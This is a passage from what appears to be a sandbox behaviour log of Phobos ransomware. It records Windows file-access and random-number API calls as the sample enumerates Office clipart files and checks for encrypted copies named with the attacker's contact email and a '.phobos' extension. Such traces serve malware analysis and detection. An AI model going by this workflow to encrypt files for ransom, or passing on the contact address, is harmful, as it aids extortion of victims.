Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.238] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.238] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.239] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5259) returned 1 [0150.239] CloseHandle (hObject=0x564) returned 1 [0150.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 0x220 [0150.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.239] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.240] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=33975) returned 1 [0150.240] CloseHandle (hObject=0x564) returned 1 [0150.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 0x220 [0150.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.241] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.241] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=16543) returned 1 [0150.241] CloseHandle (hObject=0x564) returned 1 [0150.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 0x220 [0150.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.242] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.242] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=51401) returned 1 [0150.242] CloseHandle (hObject=0x564) returned 1 [0150.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 0x220 [0150.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.243] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.243] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4967) returned 1 [0150.243] CloseHandle (hObject=0x564) returned 1 [0150.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 0x220 [0150.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.244] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.245] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3904) returned 1 [0150.245] CloseHandle (hObject=0x564) returned 1 [0150.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 0x220 [0150.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.245] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.246] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=17854) returned 1 [0150.246] CloseHandle (hObject=0x564) returned 1 [0150.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 0x220 [0150.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.247] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.248] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=17854) returned 1 [0150.248] CloseHandle (hObject=0x564) returned 1 [0150.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 0x220 [0150.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.248] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.249] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=78840) returned 1 [0150.249] CloseHandle (hObject=0x564) returned 1 [0150.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 0x220 [0150.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.249] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.255] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=32184) returned 1 [0150.255] CloseHandle (hObject=0x564) returned 1 [0150.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 0x220 [0150.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.256] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.256] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=32184) returned 1 [0150.256] CloseHandle (hObject=0x564) returned 1 [0150.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 0x220 [0150.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.257] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.257] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=31968) returned 1 [0150.257] CloseHandle (hObject=0x564) returned 1 [0150.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 0x220 [0150.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.258] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.259] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=32184) returned 1 [0150.259] CloseHandle (hObject=0x564) returned 1 [0150.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 0x220 [0150.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.260] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.260] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.260] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.261] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=32184) returned 1 [0150.261] CloseHandle (hObject=0x564) returned 1 [0150.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 0x220 [0150.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.262] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.263] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=32184) returned 1 [0150.263] CloseHandle (hObject=0x564) returned 1 [0150.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 0x220 [0150.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.263] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.264] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=32184) returned 1 [0150.264] CloseHandle (hObject=0x564) returned 1 [0150.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 0x220 [0150.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.264] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.265] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=31968) returned 1 [0150.265] CloseHandle (hObject=0x564) returned 1 [0150.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 